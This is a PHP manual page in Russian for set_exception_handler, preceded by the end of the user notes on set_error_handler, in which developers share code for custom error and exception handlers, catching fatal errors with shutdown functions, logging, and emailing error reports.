    switch($err_severity)
    {
        case E_ERROR:               throw new ErrorException            ($err_msg, 0, $err_severity, $err_file, $err_line);
        case E_WARNING:             throw new WarningException          ($err_msg, 0, $err_severity, $err_file, $err_line);
        case E_PARSE:               throw new ParseException            ($err_msg, 0, $err_severity, $err_file, $err_line);
        case E_NOTICE:              throw new NoticeException           ($err_msg, 0, $err_severity, $err_file, $err_line);
        case E_CORE_ERROR:          throw new CoreErrorException        ($err_msg, 0, $err_severity, $err_file, $err_line);
        case E_CORE_WARNING:        throw new CoreWarningException      ($err_msg, 0, $err_severity, $err_file, $err_line);
        case E_COMPILE_ERROR:       throw new CompileErrorException     ($err_msg, 0, $err_severity, $err_file, $err_line);
        case E_COMPILE_WARNING:     throw new CoreWarningException      ($err_msg, 0, $err_severity, $err_file, $err_line);
        case E_USER_ERROR:          throw new UserErrorException        ($err_msg, 0, $err_severity, $err_file, $err_line);
        case E_USER_WARNING:        throw new UserWarningException      ($err_msg, 0, $err_severity, $err_file, $err_line);
        case E_USER_NOTICE:         throw new UserNoticeException       ($err_msg, 0, $err_severity, $err_file, $err_line);
        case E_STRICT:              throw new StrictException           ($err_msg, 0, $err_severity, $err_file, $err_line);
        case E_RECOVERABLE_ERROR:   throw new RecoverableErrorException ($err_msg, 0, $err_severity, $err_file, $err_line);
        case E_DEPRECATED:          throw new DeprecatedException       ($err_msg, 0, $err_severity, $err_file, $err_line);
        case E_USER_DEPRECATED:     throw new UserDeprecatedException   ($err_msg, 0, $err_severity, $err_file, $err_line);
    }
});

class WarningException              extends ErrorException {}
class ParseException                extends ErrorException {}
class NoticeException               extends ErrorException {}
class CoreErrorException            extends ErrorException {}
class CoreWarningException          extends ErrorException {}
class CompileErrorException         extends ErrorException {}
class CompileWarningException       extends ErrorException {}
class UserErrorException            extends ErrorException {}
class UserWarningException          extends ErrorException {}
class UserNoticeException           extends ErrorException {}
class StrictException               extends ErrorException {}
class RecoverableErrorException     extends ErrorException {}
class DeprecatedException           extends ErrorException {}
class UserDeprecatedException       extends ErrorException {}
Jacob Slomp 04-Jun-2013 10:56
This might be handy if you don't want your clients to see the errors, and you do want to be one step ahead of them.

It emails you the errors even if it's a parse error.

set_error_handler() doesn't work for what I wanted.

<?php
ini_set('log_errors',TRUE);
ini_set('error_log','tiny_uploads/errors.txt');

if($_SERVER['REMOTE_ADDR'] != "YOUR IP ADDRESS"){
    ini_set('display_errors',false);
}

function byebye(){

        $dir = dirname(__FILE__);
        if(file_exists($dir."/tiny_uploads/errors.txt")){

            $errors = file_get_contents($dir."/tiny_uploads/errors.txt");

            if(trim($errors)){

                $head = "From: php_errors@".str_replace('www.','',$_SERVER['HTTP_HOST'])."\r\n";

                $errors .= "---------------------------------------------\n\n";

                $errors .= "\n\nServer Info:\n\n".print_r($_SERVER, 1)."\n\n";
                $errors .= "---------------------------------------------\n\n";

                $errors .= "\n\nCOOKIE:\n\n".print_r($_COOKIE, 1)."\n\n";
                $errors .= "---------------------------------------------\n\n";

                $errors .= "\n\nPOST:\n\n".print_r($_POST, 1)."\n\n";
                $errors .= "---------------------------------------------\n\n";

                $errors .= "\n\nGET:\n\n".print_r($_GET, 1)."\n\n";

                mail("YOUR@EMAIL.COM","PHP Error ".$_SERVER['HTTP_HOST']."", $errors , $head);

                $fp = fopen($dir."/tiny_uploads/errors.txt","w+");
                fputs($fp, "");
                fclose($fp);
            }
        }
}
register_shutdown_function("byebye");
?>
Philip 28-May-2013 07:10
By this function alone you can not catch fatal errors, there is a simple work around. Below is part of my error.php file which handles errors and exceptions in the application. Before someone complains I'll add that I do not care that I am using globals, this file is part of my mini framework and without the 'config' variable the application would crash anyways.

<?php

/**
 * Error handler, passes flow over the exception logger with new ErrorException.
 */
function log_error( $num, $str, $file, $line, $context = null )
{
    log_exception( new ErrorException( $str, 0, $num, $file, $line ) );
}

/**
 * Uncaught exception handler.
 */
function log_exception( Exception $e )
{
    global $config;

    if ( $config["debug"] == true )
    {
        print "<div style='text-align: center;'>";
        print "<h2 style='color: rgb(190, 50, 50);'>Exception Occured:</h2>";
        print "<table style='width: 800px; display: inline-block;'>";
        print "<tr style='background-color:rgb(230,230,230);'><th style='width: 80px;'>Type</th><td>" . get_class( $e ) . "</td></tr>";
        print "<tr style='background-color:rgb(240,240,240);'><th>Message</th><td>{$e->getMessage()}</td></tr>";
        print "<tr style='background-color:rgb(230,230,230);'><th>File</th><td>{$e->getFile()}</td></tr>";
        print "<tr style='background-color:rgb(240,240,240);'><th>Line</th><td>{$e->getLine()}</td></tr>";
        print "</table></div>";
    }
    else
    {
        $message = "Type: " . get_class( $e ) . "; Message: {$e->getMessage()}; File: {$e->getFile()}; Line: {$e->getLine()};";
        file_put_contents( $config["app_dir"] . "/tmp/logs/exceptions.log", $message . PHP_EOL, FILE_APPEND );
        header( "Location: {$config["error_page"]}" );
    }

    exit();
}

/**
 * Checks for a fatal error, work around for set_error_handler not working on fatal errors.
 */
function check_for_fatal()
{
    $error = error_get_last();
    if ( $error["type"] == E_ERROR )
        log_error( $error["type"], $error["message"], $error["file"], $error["line"] );
}

register_shutdown_function( "check_for_fatal" );
set_error_handler( "log_error" );
set_exception_handler( "log_exception" );
ini_set( "display_errors", "off" );
error_reporting( E_ALL );
dorphalsig at NOSPAMgmail dot com 06-Oct-2011 11:25
This actually works to catch Fatal errors...

<?php
function shutdown()
{
    $a=error_get_last();
    if($a==null)
        echo "No errors";
    else
         print_r($a);

}
register_shutdown_function('shutdown');
ini_set('max_execution_time',1 );
sleep(3);
?>

it will output
Array ( [type] => 1 [message] => Maximum execution time of 1 second exceeded [file] => /path/to/file_name.php [line] => 136 )
francois vespa 22-Dec-2010 03:27
This is a note when using php from the terminal (the CLI interface). From the command line, even if you have some kind of error user handler function so STDERR will not display, fatal errors will still cause the PHP interpreter to display error text. There is nothing you can do about that php-wise. If using UNIX/Linux, you can add " 2>/dev/null" at the end of your command to force STDERR not to show
periklis 02-Aug-2010 08:09
How to handle fatal errors in php 5.2:

<?php
register_shutdown_function('shutdownFunction');
function shutDownFunction() {
    $error = error_get_last();
    if ($error['type'] == 1) {
        //do your stuff
    }
}
?>
devermin at ti0n dot net 23-May-2010 03:46
At work I have some code with errors that uncatched are the causes of integrity loss (people calling web services with file_get_contents that fails silently and afterwards insert garbage in the database).

here is the solution I found to transform a specific set of errors into exception and afterwards be able to selectively act (with the error code) regarding categories :

<?php
ini_set('error_reporting',E_ALL^E_NOTICE);

## first 10 bits reserved for the initial error number
define('EMASK',(~0)<<10);
define('ECODEMASK',~EMASK);
## categories
define('IOERROR', 1<<10);
define('EMPTYPARMS', 1<<11);
define('FAILURE', 1<<12);
## string error patterns => code

$catch_me=array(
    "/^(file_get_contents)\((.*)\).*failed to open stream: (.*)/ " =>
        array ( 'mesg' => "IO::Failed to open stream with",
                'code' => IOERROR | FAILURE
        ),
    "/^fopen\(.*\): Filename cannot be empty/" =>
        array( 'msg' => "Parameters::empty",
                'code' => EMPTYPARMS
        )
    );
function error_2_exception($errno, $errstr, $errfile, $errline,$context) {
    global $catch_me;
    foreach ($catch_me as $regexp  => $res) {
        if(preg_match($regexp,$errstr,$match)){
            throw new Exception($res['mesg'],$res['code']|( $errno & EMASK ) );
        }
    }
    /* switch back to PHP internal error handler  */
    return false;
}
## => want to catch this one
$f=file_get_contents("mlsdkfm");
## dont want to break existing wrong behaviour yet (so not caught)
$f=file_get_contents('');
## magic
set_error_handler("error_2_exception");
## behaviour remains the same
$f=file_get_contents('');
try {
## web services that dont work now raise an exception \o/
$f=file_get_contents("mlsdkfm");
} catch(Exception $e) {
## and I can group my exception by category
    echo ( $e->getCode() & FAILURE )  ? "\nEPIC FAIL\n" : "\nbegnine";
}

?>
kalle at meizo dot com 18-Dec-2009 06:11
This may be of help to someone, who is/was looking for a way to get a backtrace of fatal errors such as maximum memory allocation issues, which can not be handled with user-defined functions, to pin-point the problem:

On a server hosting many sites that share common PHP includes, I set in one spot:

<?php
@ini_set ("error_log", "/my/path/php.err-" . $_SERVER ["HTTP_HOST"] . "-" . $_SERVER ["REMOTE_ADDR"] . "-" . $_SERVER ["REQUEST_METHOD"] . "-" . str_replace ("/", "|", $_SERVER ["REQUEST_URI"]));
?>

I actually used some additional information too from my software that I omitted, but that way, you'll find errors sorted more neatly in for example:-

/my/path/php.err-website.com-127.0.0.1-GET-path|index.html?xyz

And that at least helped me tremendously to then further pin-point where the problem is, as opposed to before just seeing the out of memory and not knowing which site/page it was on (as the PHP error only contains the very latest PHP code where it ran out of memory, which usually is just a shared included file, not the actual page).
nizamgok at gmail dot com 15-Jun-2009 07:27
I have realized that a few people here mentioned that you cannot capture parse errors (type 4, E_PARSE). This is not true. Here is how I do. I hope this helps someone.

1) Create a "auto_prepend.php" file in the web root and add this:

<?php
register_shutdown_function('error_alert');

function error_alert()
{
        if(is_null($e = error_get_last()) === false)
        {
                mail('your.email@example.com', 'Error from auto_prepend', print_r($e, true));
        }
}
?>

2) Then add this "php_value auto_prepend_file /www/auto_prepend.php" to your .htaccess file in the web root.

* make sure you change the email address and the path to the file.
Marcelius 22-Jan-2009 05:41
Another way to catch PHP's fatal errors:

<?php
    error_reporting(E_ALL);
    ini_set('display_errors', 0);

    function shutdown(){
        $isError = false;
        if ($error = error_get_last()){
            switch($error['type']){
                case E_ERROR:
                case E_CORE_ERROR:
                case E_COMPILE_ERROR:
                case E_USER_ERROR:
                    $isError = true;
                    break;
            }
        }

        if ($isError){
            echo "Script execution halted ({$error['message']})";
        } else {
            echo "Script completed";
        }
    }

    register_shutdown_function('shutdown');
?>

Note that this will only catch runtime errors. So calling a method in a non existing class, or declaring a function twice does not trigger the shutdown handler.
wfinn at riverbed dot com 09-Jul-2008 06:15
"The following error types cannot be handled with a user defined function: E_ERROR, E_PARSE, E_CORE_ERROR, E_CORE_WARNING, E_COMPILE_ERROR, E_COMPILE_WARNING, and most of E_STRICT raised in the file where set_error_handler() is called."

This is not exactly true.  set_error_handler() can't handle them, but ob_start() can handle at least E_ERROR.

<?php

function error_handler($output)
{
    $error = error_get_last();
    $output = "";
    foreach ($error as $info => $string)
        $output .= "{$info}: {$string}\n";
    return $output;
}

ob_start('error_handler');

will_this_undefined_function_raise_an_error();

?>
webmaster at paramiliar dot com 03-Jan-2008 11:03
We needed to use an error handler to handle SQL errors while passing the query along so the query is also logged and this is what we came up with, its kind of an ugly bridge but it works 100%

<?php

function myErrorHandler($errno, $errstr, $errfile, $errline){
    switch ($errno) {
    case E_USER_ERROR:
        if ($errstr == "(SQL)"){
            // handling an sql error
            echo "<b>SQL Error</b> [$errno] " . SQLMESSAGE . "<br />\n";
            echo "Query : " . SQLQUERY . "<br />\n";
            echo "On line " . SQLERRORLINE . " in file " . SQLERRORFILE . " ";
            echo ", PHP " . PHP_VERSION . " (" . PHP_OS . ")<br />\n";
            echo "Aborting...<br />\n";
        } else {
            echo "<b>My ERROR</b> [$errno] $errstr<br />\n";
            echo "  Fatal error on line $errline in file $errfile";
            echo ", PHP " . PHP_VERSION . " (" . PHP_OS . ")<br />\n";
            echo "Aborting...<br />\n";
        }
        exit(1);
        break;

    case E_USER_WARNING:
    case E_USER_NOTICE:
    }
    /* Don't execute PHP internal error handler */
    return true;
}

// function to test the error handling

function sqlerrorhandler($ERROR, $QUERY, $PHPFILE, $LINE){
    define("SQLQUERY", $QUERY);
    define("SQLMESSAGE", $ERROR);
    define("SQLERRORLINE", $LINE);
    define("SQLERRORFILE", $PHPFILE);
    trigger_error("(SQL)", E_USER_ERROR);
}

set_error_handler("myErrorHandler");

// trigger an sql error
$query = "SELECT * FROM tbl LIMIT 1";
$sql = @mysql_query($query)
    or sqlerrorhandler("(".mysql_errno().") ".mysql_error(), $query, $_SERVER['PHP_SELF'], __LINE__);

?>
ash 04-Aug-2007 03:38
error handling function that handles both errors and exceptions; also features a backtrace including possible function arguments.

<?php

$cfg = array();
$cfg['debug'] = 1;
$cfg['adminEmail'] = 'name@domain.tld';

function errorHandler($errno, $errstr='', $errfile='', $errline='')
{
    // if error has been supressed with an @
    if (error_reporting() == 0) {
        return;
    }

    global $cfg;

    // check if function has been called by an exception
    if(func_num_args() == 5) {
        // called by trigger_error()
        $exception = null;
        list($errno, $errstr, $errfile, $errline) = func_get_args();

        $backtrace = array_reverse(debug_backtrace());

    }else {
        // caught exception
        $exc = func_get_arg(0);
        $errno = $exc->getCode();
        $errstr = $exc->getMessage();
        $errfile = $exc->getFile();
        $errline = $exc->getLine();

        $backtrace = $exc->getTrace();
    }

    $errorType = array (
               E_ERROR            => 'ERROR',
               E_WARNING        => 'WARNING',
               E_PARSE          => 'PARSING ERROR',
               E_NOTICE         => 'NOTICE',
               E_CORE_ERROR     => 'CORE ERROR',
               E_CORE_WARNING   => 'CORE WARNING',
               E_COMPILE_ERROR  => 'COMPILE ERROR',
               E_COMPILE_WARNING => 'COMPILE WARNING',
               E_USER_ERROR     => 'USER ERROR',
               E_USER_WARNING   => 'USER WARNING',
               E_USER_NOTICE    => 'USER NOTICE',
               E_STRICT         => 'STRICT NOTICE',
               E_RECOVERABLE_ERROR  => 'RECOVERABLE ERROR'
               );

    // create error message
    if (array_key_exists($errno, $errorType)) {
        $err = $errorType[$errno];
    } else {
        $err = 'CAUGHT EXCEPTION';
    }

    $errMsg = "$err: $errstr in $errfile on line $errline";

    // start backtrace
    foreach ($backtrace as $v) {

        if (isset($v['class'])) {

            $trace = 'in class '.$v['class'].'::'.$v['function'].'(';

            if (isset($v['args'])) {
                $separator = '';

                foreach($v['args'] as $arg ) {
                    $trace .= "$separator".getArgument($arg);
                    $separator = ', ';
                }
            }
            $trace .= ')';
        }

        elseif (isset($v['function']) && empty($trace)) {
            $trace = 'in function '.$v['function'].'(';
            if (!empty($v['args'])) {

                $separator = '';

                foreach($v['args'] as $arg ) {
                    $trace .= "$separator".getArgument($arg);
                    $separator = ', ';
                }
            }
            $trace .= ')';
        }
    }

    // display error msg, if debug is enabled
    if($cfg['debug'] == 1) {
        echo '<h2>Debug Msg</h2>'.nl2br($errMsg).'<br />
            Trace: '.nl2br($trace).'<br />';
    }

    // what to do
    switch ($errno) {
        case E_NOTICE:
        case E_USER_NOTICE:
            return;
            break;

        default:
            if($cfg['debug'] == 0){
                // send email to admin
                if(!empty($cfg['adminEmail'])) {
                    @mail($cfg['adminEmail'],'critical error on '.$_SERVER['HTTP_HOST'], $errorText,
                            'From: Error Handler');
                }
                // end and display error msg
                exit(displayClientMessage());
            }
            else
                exit('<p>aborting.</p>');
            break;

    }

} // end of errorHandler()

function displayClientMessage()
{
    echo 'some html page with error message';

}

function getArgument($arg)
{
    switch (strtolower(gettype($arg))) {

        case 'string':
            return( '"'.str_replace( array("\n"), array(''), $arg ).'"' );

        case 'boolean':
            return (bool)$arg;

        case 'object':
            return 'object('.get_class($arg).')';

        case 'array':
            $ret = 'array(';
            $separtor = '';

            foreach ($arg as $k => $v) {
                $ret .= $separtor.getArgument($k).' => '.getArgument($v);
                $separtor = ', ';
            }
            $ret .= ')';

            return $ret;

        case 'resource':
            return 'resource('.get_resource_type($arg).')';

        default:
            return var_export($arg, true);
    }
}

?>
stepheneliotdewey at GmailDotCom 26-Jun-2007 08:48
The manual states:

"errcontext will contain an array of every variable that existed in the scope the error was triggered in. User error handler must not modify error context."

But do you know WHY you must not modify the error context? It appears that errcontext is (in effect if not literally) created by taking $GLOBALS and adding the non-global local variables as additional entries in that array, then passing the whole thing *by reference*.

(You can prove this to be true if you set up a custom error handler and then print_r($errcontext) within it, because $GLOBALS will be printed as a recursive array).

In other words, the language in the manual is misleading, because errcontext is NOT a copy of the variables that existed when the error WAS triggered, but rather is a reference to the *existing LIVE variables* in the calling script.

This includes superglobal variables like $_SERVER, $_POST, $_GET, etc., as well as all user-defined variables in scope.

The significance of that is that if you modify errcontext, you will be modifying those other variables, not just for the life of your error handling function, but for the life of the calling script as well.

That doesn't matter if you plan to halt execution in your error handling function, but it will lead to unexpected behavior if you modify $errcontext and then return to the program's normal flow after handling the error, because the variables will stay modified. For example, if you unset $_SERVER in your custom error handling function, it will remain unset once the function is over and you have returned to the page that generated the error.

This should be made clearer in the manual, starting by marking errhandler with an ampersand (&) for passage by reference in the "Parameters" section above, like so:

handler ( int $errno, string $errstr [, string $errfile [, int $errline [, array &$errcontext]]] )
silkensedai at online dot fr 02-May-2007 12:37
i made an error handler that print also the backtrace and that can die on some errors. It can be useful if you want to die on every error you find.

<?php

function my_error_handler($errno, $errstr, $errfile, $errline){
    $errno = $errno & error_reporting();
    if($errno == 0) return;
    if(!defined('E_STRICT'))            define('E_STRICT', 2048);
    if(!defined('E_RECOVERABLE_ERROR')) define('E_RECOVERABLE_ERROR', 4096);
    print "<pre>\n<b>";
    switch($errno){
        case E_ERROR:               print "Error";                  break;
        case E_WARNING:             print "Warning";                break;
        case E_PARSE:               print "Parse Error";            break;
        case E_NOTICE:              print "Notice";                 break;
        case E_CORE_ERROR:          print "Core Error";             break;
        case E_CORE_WARNING:        print "Core Warning";           break;
        case E_COMPILE_ERROR:       print "Compile Error";          break;
        case E_COMPILE_WARNING:     print "Compile Warning";        break;
        case E_USER_ERROR:          print "User Error";             break;
        case E_USER_WARNING:        print "User Warning";           break;
        case E_USER_NOTICE:         print "User Notice";            break;
        case E_STRICT:              print "Strict Notice";          break;
        case E_RECOVERABLE_ERROR:   print "Recoverable Error";      break;
        default:                    print "Unknown error ($errno)"; break;
    }
    print ":</b> <i>$errstr</i> in <b>$errfile</b> on line <b>$errline</b>\n";
    if(function_exists('debug_backtrace')){
        //print "backtrace:\n";
        $backtrace = debug_backtrace();
        array_shift($backtrace);
        foreach($backtrace as $i=>$l){
            print "[$i] in function <b>{$l['class']}{$l['type']}{$l['function']}</b>";
            if($l['file']) print " in <b>{$l['file']}</b>";
            if($l['line']) print " on line <b>{$l['line']}</b>";
            print "\n";
        }
    }
    print "\n</pre>";
    if(isset($GLOBALS['error_fatal'])){
        if($GLOBALS['error_fatal'] & $errno) die('fatal');
    }
}

function error_fatal($mask = NULL){
    if(!is_null($mask)){
        $GLOBALS['error_fatal'] = $mask;
    }elseif(!isset($GLOBALS['die_on'])){
        $GLOBALS['error_fatal'] = 0;
    }
    return $GLOBALS['error_fatal'];
}

?>

Usage :

<?php
error_reporting(E_ALL);      // will report all errors
set_error_handler('my_error_handler');
error_fatal(E_ALL^E_NOTICE); // will die on any error except E_NOTICE
?>
24-Jan-2006 01:19
To honor the value of PHP's error_reporting() function, use:

<?
  if( ($level & error_reporting()) == 0 ) return;
?>
Steffen Staehle 12-Jan-2005 02:29
Two notes on using set_error_handler() on behaviour that I noticed when migrating an application from php 4.2.1 to php 4.3.9 (I do not yet have php 5.0 available, this might not apply there!).

1. setting the system error handler

If you want to set the standard php error handler again, after having set your own error handler, this works in php 4.2.1 by passing in an empty string:

<?php

   function my_handler($log_level, $log_text, $error_file, $error_line)
   {
      // if an error occurs here, the standard error
      // would be called (to avoid recursion)

      // do something useful
      // ...
   }

   $last_handler = set_error_handler("my_handler");

   // after this, $last_handler == ""

   // restore standard error handler

   $last_handler = set_error_handler("");

   // after this, $last_handler == "my_handler"

?>

The very same code now raises an error in php 4.3.9:

   set_error_handler() expects argument 1, '', to be a valid callback

(Since the return value of the first call to set_error_handler() is still the empty string "", I don't see how this can be done any more. I don't really need this, because I use my own handlers as shown below, but it might be good to be aware of this.)

2. setting your own 'second level' handler

If you have set your own error handler, and want to replace it by another one (other than the standard php error handler) while it is being executed, note that the return value of set_error_handler when used INSIDE the error handler is "" instead of the name of the previous handler! This is not too surprising, because during execution of your self defined error handler, php replaces it with the standard php error handler to avoid infinite loops in case of problems inside the handler. This is only interesting if you want nested handlers as I do. Background of my design:

   1st level handler: log into DB
   2nd level handler: log into flat file (if log into DB fails)
   3rd level handler: print to stdout (if log into flat file fails) (this is the sytem handler, finally).

<?php

   function my_fallback_handler($log_level, $log_text, $error_file, $error_line)
   {
      // if an error occurs here, the standard error
      // would be called (to avoid recursion)

      // do something useful
      // ...

   } // my_fallback_handler

   function my_handler($log_level, $log_text, $error_file, $error_line)
   {
      // if an error occurs here, the standard error
      // would be called (to avoid recursion)

      // but we want to have a fallback handler different
      // to the standard error handler

      $last_handler = set_error_handler("my_fallback_handler");

      // I expected $last_handler == "my_handler"
      // (which it would outside my_handler())
      // but here it is the empty string ""

      // do something useful
      // ...

      // now set the 1st level handler again:
      // (do NOT use $last_handler as argument,
      // because it equals "")

      $last_handler = set_error_handler("my_handler");

   } // my_handler

   $last_handler = set_error_handler("my_handler");

?>
29-Mar-2004 04:13
It seems that when you're letting PHP know that you have a custom  error handler, you're not able to -update/set new- variables inside the class. Example:

<?php
class error {
   var $error;

   function error() {
       $this->setIni();    // this causes PHP to ignore all other changes to the class.
   }

   function handler() {
       echo $this->error.'!!';
   }

   function setText($text) {
         $this->error = $text;
   }

   function setIni() {
       set_error_handler(array($this, 'handler'));
   }
}

$eh = new error;
$eh->setText('Error! <br>');  // this will not be saved

trigger_error('text', E_USER_ERROR);
// prints '!!'
?>

How it should be done:
<?php
class error {
   var $error;

   function error() {
         // dont let PHP know of our error handler yet
   }

   function handler() {
       echo $this->error.'!!';
   }

   function setText($text) {
         $this->error = $text;
   }

   function setIni() {
       set_error_handler(array($this, 'handler'));
   }
}

$eh = new error;
$eh->setText('Error! <br>');  // this WILL work
$eh->setIni();  // call this method when you're ready with configuring the class. All other methods that will be called will have no effect on the errorHandling by PHP

trigger_error('text', E_USER_ERROR);
// prints 'Error! <br>!!'
?>
phpmanual at NO_SPHAMnetebb dot com 15-Nov-2003 08:19
Given this code:

class CallbackClass {
    function CallbackFunction() {
        // refers to $this
    }

    function StaticFunction() {
        // doesn't refer to $this
    }
}

function NonClassFunction() {
}

there appear to be 3 ways to set a callback function in PHP (using set_error_handler() as an example):

1: set_error_handler('NonClassFunction');

2: set_error_handler(array('CallbackClass', 'StaticFunction'));

3: $o =& new CallbackClass();
   set_error_handler(array($o, 'CallbackFunction'));

The following may also prove useful:

class CallbackClass {
    function CallbackClass() {
        set_error_handler(array(&$this, 'CallbackFunction')); // the & is important
    }

    function CallbackFunction() {
        // refers to $this
    }
}

The documentation is not clear in outlining these three examples.
mmtache at yahoo dot com 09-Feb-2003 01:06
The @ operator sets the error_reporting() value to 0.
This means you can use it with your own Error Handler too. for example:

function userErrorHandler($errno, $errmsg, $filename, $linenum, $vars) {
   if (error_reporting())
echo $errmsg;
    }
set_error_handler("userErrorHandler");

function test(){
trigger_error("Error Message", E_USER_WARNING);
}

@test(); // doesn't output anything
roy 12-Jun-2002 04:08
Useful thing to note - if your error handler throws an error in itself, PHP is smart enough to use the deault error handler to handle it. This way, you don't end up in infinite flaming loops of death. This seems to be true, at least, in PHP 4.2.

('Course, there are ways to create your handler to handle even this situation, but it's probably best left this way for general purposes.)


Задаёт пользовательский обработчик исключений

  • « set_error_handler
  • trigger_error »
  • PHP Manual
  • Функции обработки ошибок
  • Задаёт пользовательский обработчик исключений

set_exception_handler

(PHP 5, PHP 7, PHP 8)

set_exception_handler — Задаёт пользовательский обработчик исключений

Описание

set_exception_handler(?callable $callback): ?callable

Задаёт обработчик по умолчанию для случаев, когда исключение выброшено вне блока try/catch. После вызова callback выполнение будет остановлено.

Список параметров

callback

Функция, вызываемая при возникновении неперехваченного исключения. Эта функция-обработчик должна принимать один параметр, которым будет объект выброшенного исключения Throwable. И Error и Exception реализуют интерфейс Throwable. Сигнатура обработчика:

handler(Throwable $ex): void

В качестве этого аргумента можно передать null. В этом случае обработчик вернётся к своему изначальному состоянию.

Возвращаемые значения

Возвращает ранее определённый обработчик исключений или null в случае ошибки. Если предыдущих обработчиков определено не было, то также возвращается null.

Примеры

Пример #1 Пример использования set_exception_handler()

<?php
function exception_handler(Throwable $exception) {
echo "Неперехваченное исключение: " , $exception->getMessage(), "\n";
}

set_exception_handler('exception_handler');

throw new Exception('Неперехваченное исключение');
echo "Не выполнено\n";
?>

Смотрите также

  • restore_exception_handler() - Восстанавливает предыдущий обработчик исключений
  • restore_error_handler() - Восстанавливает предыдущий обработчик ошибок
  • error_reporting() - Задаёт, какие ошибки PHP попадут в отчёт
  • Исключения

User Contributed Notes

ohcc at 163 dot com 09-Jun-2020 04:05
As of PHP 7.4, an exception thrown within the user-defined shutdown function can be caught by the user-defined exception handler.

<?php
    set_error_handler(
        function($level, $error, $file, $line){
            if(0 === error_reporting()){
                return false;
            }
            throw new ErrorException($error, -1, $level, $file, $line);
        },
        E_ALL
    );

    register_shutdown_function(function(){
        $error = error_get_last();
        if($error){
            throw new ErrorException($error['message'], -1, $error['type'], $error['file'], $error['line']);
        }
    });

    set_exception_handler(function($exception){
        // ... more code ...
    });

    require 'NotExists.php';
klaussantana at gmail dot com 12-Sep-2017 03:44
Hi everyone. I don't know if it is an old behavior of previous versions, but currently you can set exception and error handlers as private or protected methos, if, only if, you call `set_exception_handler()` or `set_error_handler()` within a context that can access the method.

Example:
    <?PHP
        $Handler = new class ()
        {
            public function __construct ()
            {
                set_error_handler([$this, 'HandleError');
                set_exception_handler([$this, 'HandleException']);
            }
            protected function HandleError ( $Code, $Message, $File = null, $Line = 0, $Context = [] )
            {
                // Handle error here.
            }
            private function HandleException ( $Exception )
            {
                // Handle exception here.
            }
        }
    ?>

NOTE: these methods must match the callbacks parameters signatures. I put
dev at codesatori dot com 21-Nov-2016 03:51
For those of you wanting to convert PHP errors to ErrorExceptions (useful), but frustrated with the script being halted on every E_NOTICE et al. In your error handler, simply create the ErrorException, and then either throw it (script halted), or pass the object directly (script continues) to your exception handler function.

<?php
const EXIT_ON_ALL_PHP_ERRORS = false; // or true

function proc_error($errno, $errstr, $errfile, $errline)
{
    $e = new ErrorException($errstr, 0, $errno, $errfile, $errline);

    if (EXIT_ON_ALL_PHP_ERRORS) {
        throw $e; // This will halt your script.
    } else {
        proc_exception($e); // This will let it continue.
    }
}

set_error_handler("proc_error");
set_exception_handler("proc_exception");
?>

You could further customize the error severity level (from $errno, match bitmasks with error level constants) at which the script is halted or allowed to continue. The above simply allows passthru for PHP errors' default behavior.

If your exception handler is receiving both error ErrorExceptions (with severity level etc.) and other types of uncaught Exceptions, then use a <?php if ($e instanceof ErrorException) { // ... } ?> condition to deal with the variance. I had to further wrap it into a <?php try { $errno = $e->getSeverity(); } catch (Exception $x) { $errno = 0 } ... ?>, because some EE-s were mysteriously lacking the severity level property (yet to dig in and find out why).
Josef Spak 22-Sep-2014 10:34
On GNU/Linux, When an exception handler is called, PHP will end with exit status code 0 instead of 255.

You can change the exit status code with an exit() call at the end of your custom error handler.
Anonymous 08-Mar-2014 11:42
By default the stack trace is pretty unreadable, so you might want to wrap it in <pre> tags. Here I also wrap it in a <div> and set the class 'alert alert-danger' which are CSS classes in the Bootstrap CSS framework to style them red.
<?php

function exception_handler($exception) {
  echo '<div class="alert alert-danger">';
  echo '<b>Fatal error</b>:  Uncaught exception \'' . get_class($exception) . '\' with message ';
  echo $exception->getMessage() . '<br>';
  echo 'Stack trace:<pre>' . $exception->getTraceAsString() . '</pre>';
  echo 'thrown in <b>' . $exception->getFile() . '</b> on line <b>' . $exception->getLine() . '</b><br>';
  echo '</div>';
}

set_exception_handler('exception_handler');
Anonymous 25-Feb-2013 08:51
As of PHP 5.4.11....

Instead of:

Output: Fatal error: Exception thrown without a stack frame in Unknown on line 0

This snippet:

<?php
function error_handler($code, $message, $file, $line)
{
    if (0 == error_reporting())
    {
        return;
    }
    throw new ErrorException($message, 0, $code, $file, $line);
}
function exception_handler($e)
{
    // ... normal exception stuff goes here
    print $undefined; // This is the underlying problem
}
set_error_handler("error_handler");
set_exception_handler("exception_handler");
throw new Exception("Just invoking the exception handler");
?>

Now returns:

Fatal error: Uncaught exception 'ErrorException' with message 'Undefined variable: undefined' in C:\Apache2\htdocs\error\test.php:13 Stack trace: #0 C:\Apache2\htdocs\error\test.php(13): error_handler(8, 'Undefined varia...', 'C:\Apache2\htdo...', 13, Array) #1 [internal function]: exception_handler(Object(Exception)) #2 {main} thrown in C:\Apache2\htdocs\error\test.php on line 13

So it appears that exceptions thrown within exception handler now bypass exception handler.
pinkgothic at gmail dot com 01-Jun-2010 02:30
If you're handling sensitive data and you don't want exceptions logging details such as variable contents when you throw them, you may find yourself frustratedly looking for the bits and pieces that make up a normal stack trace output, so you can retain its legibility but just alter a few things. In that case, this may help you:

<?php

function exceptionHandler($exception) {

    // these are our templates
    $traceline = "#%s %s(%s): %s(%s)";
    $msg = "PHP Fatal error:  Uncaught exception '%s' with message '%s' in %s:%s\nStack trace:\n%s\n  thrown in %s on line %s";

    // alter your trace as you please, here
    $trace = $exception->getTrace();
    foreach ($trace as $key => $stackPoint) {
        // I'm converting arguments to their type
        // (prevents passwords from ever getting logged as anything other than 'string')
        $trace[$key]['args'] = array_map('gettype', $trace[$key]['args']);
    }

    // build your tracelines
    $result = array();
    foreach ($trace as $key => $stackPoint) {
        $result[] = sprintf(
            $traceline,
            $key,
            $stackPoint['file'],
            $stackPoint['line'],
            $stackPoint['function'],
            implode(', ', $stackPoint['args'])
        );
    }
    // trace always ends with {main}
    $result[] = '#' . ++$key . ' {main}';

    // write tracelines into main template
    $msg = sprintf(
        $msg,
        get_class($exception),
        $exception->getMessage(),
        $exception->getFile(),
        $exception->getLine(),
        implode("\n", $result),
        $exception->getFile(),
        $exception->getLine()
    );

    // log or echo as you please
    error_log($msg);
}

?>

If you're not a fan of sprintf() or the duplicate $exception->getFile() and $exception->getLine() calls you can of course replace that as you like - consider this a mere compilation of the parts.
Anonymous 16-Dec-2009 06:12
Things you should be aware of:

An exception handler handles exceptions that were not caught before. It is the nature of an exception that it discontinues execution of your program - since it declares an exceptional situation in which the program cannot continue (except you catch it).

Since it has not been catched your code signals it is not being aware of the situation and cant go on.

